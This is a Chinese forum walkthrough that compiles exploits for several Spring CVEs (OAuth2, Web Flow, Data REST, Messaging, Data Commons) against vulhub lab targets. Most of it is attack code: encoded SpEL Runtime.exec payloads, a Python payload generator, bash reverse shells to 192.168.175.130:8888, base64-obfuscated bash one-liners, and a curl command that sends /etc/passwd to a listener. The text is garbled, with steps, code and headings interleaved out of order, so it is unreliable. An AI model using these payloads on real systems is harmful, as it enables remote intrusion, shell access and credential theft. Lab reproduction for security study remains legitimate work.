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奇安信攻防社区 - Spring 渗透合集

# Spring
## 前言
Spring 是 Java EE 编程领域的一个轻量级开源框架，该框架是

为了解决企业级编程开发中的复杂性，业务逻辑层和其他各层的松耦合问题，因此

它将面向接口的编程思想贯穿整个...

前言

Spring 是 Java EE 编程领域的一个轻量级开源框架，该框架是为了解决企业级编

程开发中的复杂性，业务逻辑层和其他各层的松耦合问题，因此它将面向接口的编

程思想贯穿整个系统应用，实现敏捷开发的应用型框架。

框架的主要优势之一就是其分层架构，分层架构允许使用者选择使用哪一个组件，

同时为 J2EE 应用程序开发提供集成的框架

简单组件介绍

Spring 发展至今，整个体系不断壮大，这里只简单介绍一些组件。


首先是 Spring Websocket，Spring 内置简单消息代理。这个代理处理来自客户端

的订阅请求，将它们存储在内存中，并将消息广播到具有匹配目标的连接客户端。

Spring Data 是一个用于简化数据库访问，并支持云服务的开源框架，其主要目标

是使数据库的访问变得方便快捷。

Spring Data Commons 是 Spring Data 下所有子项目共享的基础框架，Spring

Data 家族中的所有实现都是基于 Spring Data Commons。

简单点说，Spring Data REST 把我们需要编写的大量 REST 模版接口做了自动

化实现，并符合 HAL 的规范

Spring Web Flow 是 Spring MVC 的扩展，它支持开发基于流程的应用程序，可

以将流程的定乂和实现流程行为的类和视图分离开来

Spring 渗透
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Spring 渗透

Spring Security OAuth2 远程命令执行突破 (CVE-2016-4977)

影响版本

2.0.0-2.0.9

漏洞搭建

还是使用 P 牛的靶场

1.0.0-1.0.5

漏洞复现

访问

cd vulhub-master/spring/CVE-2016-4977

漏洞验证

访问该 url 会进行登录验证
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sudo docker-compose up -d

默认账号密码是

http://192.168.175.209:8080/

登录成功

Poc

我们看一下 vulhub 提供的 Poc

http://192.168.175.209:8080/oauth/authorize?response_type=${233*233}&client_id
=acme&scope=openid&redirect_uri=http://test

这里是 java 的命令执行
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执行一下 poc.py

测试 RCE

我们执行的命令是 whoami  把回显放到表达式中

执行一下

admin

执行成功

这里注意：只是返回了进程，但实际上是命令执行

这是无回显 RCE

测试 XXE

先在 bash 下做测试

admin



2021/8/23 奇安信攻防社区-Spring渗透合集

https://forum.butian.net/share/502 5/37

那么就将该命令放入 poc 中生成最终的 payload

#!/usr/bin/env python

执行成功
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但是这边 nc 反弹之后 后面没有东西了

踩坑记录：

message = input('Enter message to encode:')
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最终的 payload

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toStrin
g(%s)' % ord(message[0])

执行之后 成功回显

反弹 shell

那么这边我直接反弹 shell 了
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上 java 编码的网站

for ch in message[1:]:

poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

将该命令放入 Poc 中

最终的 payload：

poc += ')}'

执行一下
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成功拿到 shell

优化 Poc

print(poc)

最终的
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最终的 payload

http://192.168.175.209:8080/oauth/authorize?response_type=${T(java.lang.Runtim
e).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.C
haracter).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T
(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(10
9)).concat(T(java.lang.Character).toString(105)))}&client_id=acme&scope=openid
&redirect_uri=http://test

执行成功后

成功回显

Spring Web Flow 框架远程代码执行 (CVE-2017-4971)

影响版本

curl 192.168.175.130:8888 -d "$(cat /etc/passwd)"

触发漏洞需要的两个条件

漏洞搭建



2021/8/23 奇安信攻防社区-Spring渗透合集

https://forum.butian.net/share/502 11/37

关闭之前的 docker 镜像

还是使用 vulhub 进行搭建

nc -lvp 8888

漏洞复现

漏洞验证

访问
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http://192.168.175.209:8080/oauth/authorize?response_type=${T(java.lang.Runtim
e).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Ch
aracter).toString(117)).concat(T(java.lang.Character).toString(114)).concat(T
(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(3
2)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).
toString(57)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.C
haracter).toString(46)).concat(T(java.lang.Character).toString(49)).concat(T(j
ava.lang.Character).toString(54)).concat(T(java.lang.Character).toString(56)).
concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toSt
ring(49)).concat(T(java.lang.Character).toString(55)).concat(T(java.lang.Chara
cter).toString(53)).concat(T(java.lang.Character).toString(46)).concat(T(java.
lang.Character).toString(49)).concat(T(java.lang.Character).toString(51)).conc
at(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString
(58)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Characte
r).toString(56)).concat(T(java.lang.Character).toString(56)).concat(T(java.lan
g.Character).toString(56)).concat(T(java.lang.Character).toString(32)).concat
(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(1
00)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Characte
r).toString(34)).concat(T(java.lang.Character).toString(36)).concat(T(java.lan
g.Character).toString(40)).concat(T(java.lang.Character).toString(99)).concat
(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(1
16)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Characte
r).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.la
ng.Character).toString(116)).concat(T(java.lang.Character).toString(99)).conca
t(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString
(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Characte
r).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.l
ang.Character).toString(119)).concat(T(java.lang.Character).toString(100)).con
cat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toStrin
g(34)).concat(T(java.lang.Character).toString(32)))}
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用任意账号 / 密码登录系统

然后访问 id=1 的酒店地址
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然后进行抓包
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Poc(反弹 shell)

&client_id=acme&scope=openid&redirect_uri=http://test
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进行执行

成功拿到反弹 shell

EXP 拓展

执行命令

curl 192.168.175.130:8888 -d "$(cat /etc/passwd)"
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远程下载脚本 并执行

bash -c {echo,Y3VybCAxOTIuMTY4LjE3NS4xMzA6ODg4OCAtZCAiJChjYXQgL2V0Yy9wYXNzd2Qp
IiA=}|{base64,-d}|{bash,-i}

Spring data Rest 远程命令执行命令 (CVE-2017-8046)

影响版本
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http://192.168.175.209:8080/oauth/authorize?response_type=${T(java.lang.Runtim
e).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Ch
aracter).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(j
ava.lang.Character).toString(104)).concat(T(java.lang.Character).toString(3
2)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).
toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.C
haracter).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T
(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(10
4)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Characte
r).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lan
g.Character).toString(51)).concat(T(java.lang.Character).toString(86)).concat
(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString
(98)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Characte
r).toString(65)).concat(T(java.lang.Character).toString(120)).concat(T(java.la
ng.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat
(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(1
17)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Characte
r).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lan
g.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat
(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString
(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Characte
r).toString(78)).concat(T(java.lang.Character).toString(83)).concat(T(java.lan
g.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat
(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(1
22)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Characte
r).toString(54)).concat(T(java.lang.Character).toString(79)).concat(T(java.lan
g.Character).toString(68)).concat(T(java.lang.Character).toString(103)).concat
(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(7
9)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).
toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.
Character).toString(90)).concat(T(java.lang.Character).toString(67)).concat(T
(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(10
5)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).
toString(67)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.
Character).toString(106)).concat(T(java.lang.Character).toString(89)).concat(T
(java.lang.Character).toString(88)).concat(T(java.lang.Character).toString(8
1)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Characte
r).toString(76)).concat(T(java.lang.Character).toString(50)).concat(T(java.lan
g.Character).toString(86)).concat(T(java.lang.Character).toString(48)).concat
(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(1
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( (j g ) g( )) ( (j g ) g(
21)).concat(T(java.lang.Character).toString(57)).concat(T(java.lang.Characte
r).toString(119)).concat(T(java.lang.Character).toString(89)).concat(T(java.la
ng.Character).toString(88)).concat(T(java.lang.Character).toString(78)).concat
(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString
(100)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Characte
r).toString(81)).concat(T(java.lang.Character).toString(112)).concat(T(java.la
ng.Character).toString(73)).concat(T(java.lang.Character).toString(105)).conca
t(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString
(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Characte

r).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.l
ang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).conca
t(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString
(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Characte
r).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lan
g.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat
(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString
(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Charact
er).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.la
ng.Character).toString(115)).concat(T(java.lang.Character).toString(104)).conc
at(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString
(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Characte
r).toString(125)))}

漏洞搭建

关闭之前的 docker 镜像

&client_id=acme&scope=openid&redirect_uri=http://test

漏洞复现
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漏洞复现

访问

漏洞验证

访问

http://www.jackson-t.ca/runtime-exec-payloads.html
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进行抓包
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修改成 PATCH 请求

Poc

bash -i >& /dev/tcp/192.168.175.130/8888 0>&1

进行执行
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然后我们去 docker 底层看一下

可以看到是成功创建的

Poc 原理 + 反弹 shell

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NS4xMzAvODg4OCAwPiYx}|{b
ase64,-d}|{bash,-i}

反弹 shell
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http://192.168.175.209:8080/oauth/authorize?response_type=${T(java.lang.Runtim
e).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Ch
aracter).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(j
ava.lang.Character).toString(104)).concat(T(java.lang.Character).toString(3
2)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).
toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.C
haracter).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T
(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(10
4)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Characte
r).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lan
g.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat
(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString
(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Characte
r).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.la
ng.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat
(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(4
3)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).
toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.
Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T
(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(8
6)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).
toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.C
haracter).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T
(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(6
7)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).
toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.
Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T
(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(7
7)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).
toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.C
haracter).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T
(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(5
1)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).
toString(83)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.C
haracter).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T
(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(6
5)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Characte
r).toString(79)).concat(T(java.lang.Character).toString(68)).concat(T(java.lan
g.Character).toString(103)).concat(T(java.lang.Character).toString(52)).concat
(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(6
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( (j g ) g( )) ( (j g ) g(
7)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).
toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.
Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T
(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(12
5)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Characte
r).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.la
ng.Character).toString(97)).concat(T(java.lang.Character).toString(115)).conca
t(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString
(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Characte

r).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lan
g.Character).toString(100)).concat(T(java.lang.Character).toString(125)).conca
t(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString
(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Characte
r).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.la
ng.Character).toString(104)).concat(T(java.lang.Character).toString(44)).conca
t(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString
(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=ope
nid&redirect_uri=http://test

#!/usr/bin/env python

import base64

进行执行
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成功反弹 shell

Spring Messaging 远程命令执行突破 (CVE2018-1270)

影响版本

message = input('Enter message to encode:')

漏洞搭建
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message = 'bash -c {echo,%s}|{base64,-d}|{bash,-i}' % bytes.decode(base64.b64e
ncode(message.encode('utf-8')))

漏洞复现

访问

print(message)

Poc

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toStrin
g(%s)' % ord(message[0])
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g( ) ( g [ ])

然后我们这里要进行修改 所以 Poc 并不通用

一个是被攻击的 IP

一个是执行的命令

一个是名字

进行修改后
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进行执行

去 docker 底层查看执行是否成功

Poc-2 - 反弹 shell

for ch in message[1:]:

同样也是需要修改的

上 java 编码的网站

poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
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poc += ')}'

进行修改
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执行 poc

成功拿到反弹 shell

Spring Data Commons 远程命令执行漏洞 (CVE-2018-1273)

影响版本

print(poc)

漏洞搭建
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http://192.168.175.209:8080/oauth/authorize?response_type=${T(java.lang.Runtim
e).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Ch
aracter).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(j
ava.lang.Character).toString(104)).concat(T(java.lang.Character).toString(3
2)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).
toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.C
haracter).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T
(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(10
4)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Characte
r).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lan
g.Character).toString(51)).concat(T(java.lang.Character).toString(86)).concat
(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString
(98)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Characte
r).toString(65)).concat(T(java.lang.Character).toString(120)).concat(T(java.la
ng.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat
(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(1
17)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Characte
r).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lan
g.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat
(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString
(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Characte
r).toString(78)).concat(T(java.lang.Character).toString(83)).concat(T(java.lan
g.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat
(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(1
22)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Characte
r).toString(54)).concat(T(java.lang.Character).toString(79)).concat(T(java.lan
g.Character).toString(68)).concat(T(java.lang.Character).toString(103)).concat
(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(7
9)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).
toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.
Character).toString(90)).concat(T(java.lang.Character).toString(67)).concat(T
(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(10
5)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).
toString(67)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.
Character).toString(106)).concat(T(java.lang.Character).toString(89)).concat(T
(java.lang.Character).toString(88)).concat(T(java.lang.Character).toString(8
1)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Characte
r).toString(76)).concat(T(java.lang.Character).toString(50)).concat(T(java.lan
g.Character).toString(86)).concat(T(java.lang.Character).toString(48)).concat
(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(1
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( (j g ) g( )) ( (j g ) g(
21)).concat(T(java.lang.Character).toString(57)).concat(T(java.lang.Characte
r).toString(119)).concat(T(java.lang.Character).toString(89)).concat(T(java.la
ng.Character).toString(88)).concat(T(java.lang.Character).toString(78)).concat
(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString
(100)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Characte
r).toString(81)).concat(T(java.lang.Character).toString(112)).concat(T(java.la
ng.Character).toString(73)).concat(T(java.lang.Character).toString(105)).conca
t(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString
(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Characte

r).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.l
ang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).conca
t(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString
(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Characte
r).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lan
g.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat
(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString
(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Charact
er).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.la
ng.Character).toString(115)).concat(T(java.lang.Character).toString(104)).conc
at(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString
(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Characte
r).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test

漏洞复现

访问

Spring WebFlow 2.4.0 - 2.4.4
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漏洞验证

进行抓包

Poc

1.MvcViewFactoryCreator对象的 useSpringBeanBinding参数需要设置为 false（默认值）
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执行之后呢 我们可以去 docker 底层看一下

Poc-2 - 反弹 shell

bash 反弹一句话

python 开启 http 服务

上传 sh 脚本

2.flow view对象中设置 BinderConfiguration对象为空

进行执行
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然后继续去 docker 底层看一下

可以看到成功写入

然后进行执行 sh 脚本

cd vulhub-master/spring/CVE-2017-4971

成功拿到反弹 shell

S i 其中关键的 5 个部分 分别是
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Spring 其中关键的 5 个部分，分别是

sudo docker-compose up -d

其中的 spring framework 就是大家常常提到的 spring，这是所有 sprIng 内容最基

本的底层架构，其包含 spring mvc、springboot、spring core、IOC 和 AOP 等等

Spring mvc 就是 spring 中的一个 MVC 框架，主要用来开发 web 应用和网络接

口，但是其使用之前需要配置大量的 xml 文件，比较繁琐

所以出现 springboot，其内置 tomcat 并且内置默认的 XML 配置信息，从而方便

了用户的使用。下图就直观表现了他们之间的关系

spring security 主要是用来做鉴权，保证安全性的

Spring Cloud 基于 Spring Boot，简化了分布式系统的开发，集成了服务发现、配

置管理、消息总线、负载均衡、断路器、数据监控等各种服务治理能力整个

spring 家族有四个重要的基本概念，分别是

http://192.168.175.209:8080/login


